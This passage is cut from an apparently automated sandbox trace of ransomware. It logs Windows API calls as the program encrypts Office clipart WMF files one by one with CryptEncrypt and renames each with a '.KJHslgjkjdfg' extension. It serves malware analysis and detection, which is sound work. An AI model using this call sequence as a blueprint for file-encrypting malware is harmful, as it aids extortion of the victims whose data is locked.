lpNumberOfBytesRead=0x4dff27c*=0x3fe2, lpOverlapped=0x0) returned 1 [0203.321] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ff0, dwBufLen=0x3ff0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3ff0) returned 1 [0203.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.322] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3ff0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3ff0, lpOverlapped=0x0) returned 1 [0203.322] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.322] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x40c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.322] SetEndOfFile (hFile=0x130) returned 1 [0203.325] GetProcessHeap () returned 0x2ef0000 [0203.325] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.325] GetProcessHeap () returned 0x2ef0000 [0203.325] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.325] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf.kjhslgjkjdfg")) returned 1 [0203.327] CloseHandle (hObject=0x130) returned 1 [0203.327] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187839.WMF", cAlternateFileName="")) returned 1 [0203.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.328] GetProcessHeap () returned 0x2ef0000 [0203.328] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.328] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.328] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.328] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.330] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.330] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.330] GetProcessHeap () returned 0x2ef0000 [0203.330] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.330] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.330] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.330] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.331] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.331] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.331] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.331] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.331] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.331] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.331] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.331] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.331] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x14fc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x14fc, lpOverlapped=0x0) returned 1 [0203.332] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1500, dwBufLen=0x1500 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1500) returned 1 [0203.332] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.332] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1500, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1500, lpOverlapped=0x0) returned 1 [0203.332] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.333] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.333] SetEndOfFile (hFile=0x130) returned 1 [0203.334] GetProcessHeap () returned 0x2ef0000 [0203.334] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.334] GetProcessHeap () returned 0x2ef0000 [0203.334] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.334] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf.kjhslgjkjdfg")) returned 1 [0203.335] CloseHandle (hObject=0x130) returned 1 [0203.335] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1bcc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187847.WMF", cAlternateFileName="")) returned 1 [0203.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.336] GetProcessHeap () returned 0x2ef0000 [0203.336] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.336] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.336] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.336] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.340] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.340] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.340] GetProcessHeap () returned 0x2ef0000 [0203.340] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.341] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.341] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.341] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.341] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.341] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.341] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.341] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.341] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.341] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.341] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.341] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.341] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1bcc, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1bcc, lpOverlapped=0x0) returned 1 [0203.342] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1bd0, dwBufLen=0x1bd0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1bd0) returned 1 [0203.342] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.343] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1bd0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1bd0, lpOverlapped=0x0) returned 1 [0203.343] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.343] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1ca4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.343] SetEndOfFile (hFile=0x130) returned 1 [0203.345] GetProcessHeap () returned 0x2ef0000 [0203.345] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.345] GetProcessHeap () returned 0x2ef0000 [0203.345] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.345] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187847.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187847.wmf.kjhslgjkjdfg")) returned 1 [0203.346] CloseHandle (hObject=0x130) returned 1 [0203.346] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1d94, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187849.WMF", cAlternateFileName="")) returned 1 [0203.347] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.348] GetProcessHeap () returned 0x2ef0000 [0203.348] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.348] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.348] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.348] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0203.350] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.351] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.351] GetProcessHeap () returned 0x2ef0000 [0203.351] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.351] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.351] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.351] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.351] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.351] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.351] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.351] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.351] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.351] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.351] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.351] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.352] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1d94, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1d94, lpOverlapped=0x0) returned 1 [0203.353] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1da0, dwBufLen=0x1da0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1da0) returned 1 [0203.353] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.353] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1da0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1da0, lpOverlapped=0x0) returned 1 [0203.353] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.353] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1e74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.353] SetEndOfFile (hFile=0x130) returned 1 [0203.356] GetProcessHeap () returned 0x2ef0000 [0203.356] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0203.356] GetProcessHeap () returned 0x2ef0000 [0203.356] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0203.356] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187849.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187849.wmf.kjhslgjkjdfg")) returned 1 [0203.357] CloseHandle (hObject=0x130) returned 1 [0203.357] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x221c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187851.WMF", cAlternateFileName="")) returned 1 [0203.358] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187851.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187851.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0203.358] GetProcessHeap () returned 0x2ef0000 [0203.358] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0203.359] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0203.359] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0203.359] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.361] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.361] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.361] GetProcessHeap () returned 0x2ef0000 [0203.361] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0203.361] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0203.361] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.361] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0203.361] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0203.361] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0203.361] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0203.361] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0203.361] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0203.362] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0203.362] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0203.362] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.362] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x221c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x221c, lpOverlapped=0x0) returned 1 [0203.363] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2220, dwBufLen=0x2220 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2220) returned 1 [0203.363] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.363] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2220, lpOverlapped=0x0) returned 1 [0203.363] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0203.363] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x22f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0203.363] SetEndOfFile (hFile=0x130) returned 1 